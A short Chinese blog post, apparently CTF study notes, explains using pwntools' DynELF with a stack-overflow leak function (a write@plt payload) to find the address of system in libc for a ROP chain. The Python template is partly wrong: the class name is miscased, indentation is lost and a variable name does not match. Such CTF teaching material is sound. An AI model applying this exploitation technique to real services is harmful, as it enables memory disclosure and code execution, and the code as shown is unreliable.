Dynelf模块

之前做题时遇到过Dynelf模块,当时不太理解,最近有些看了大佬的一些博客,解开了当时一部分的疑惑。

在Pwn题目中,有些栈溢出的题目没有给出后门函数和libc文件,这个时候就需要用到Dynelf这个模块去泄露出目标函数的地址。

Dynelf模块需要两个参数,一个是leak函数,另一个是elf文件。

leak函数的模板:

def  leak(address):

payload=padding
payload+=pack(write_plt)+pack(start_add)+pack(1)+pack(address)+pack(4)
#这里相当于write(1,address,4)再加上一个返回地址,返回地址可以是start函数或是其他的
#函数要保证leak函数的可复用性。
p.send(payload)

data=p.recv(4)

print "%#x  = > %s"%(address,(data or '').encode('hex'))

return data  #到这里就已经完成了leak函数的编写
d=Dynelf(leak,elf=ELF('./pwn'))#Dynelf模块的初始化,pwn为二进制文件的名字
system_address=d.lookup('system','libc')#查找system函数的地址
print "system's address is" + hex(system_add)#将system函数的地址打印出来

接下来就可以继续构造我们ROP链了,这里补充一下,最好利用的函数还是write函数,可以控制输出的字节,如果是puts就要想办法把末尾的’/n’去掉

dynelf模块常用于在有充足的栈溢出空间时去泄露libc基址

发表评论

电子邮件地址不会被公开。 必填项已用*标注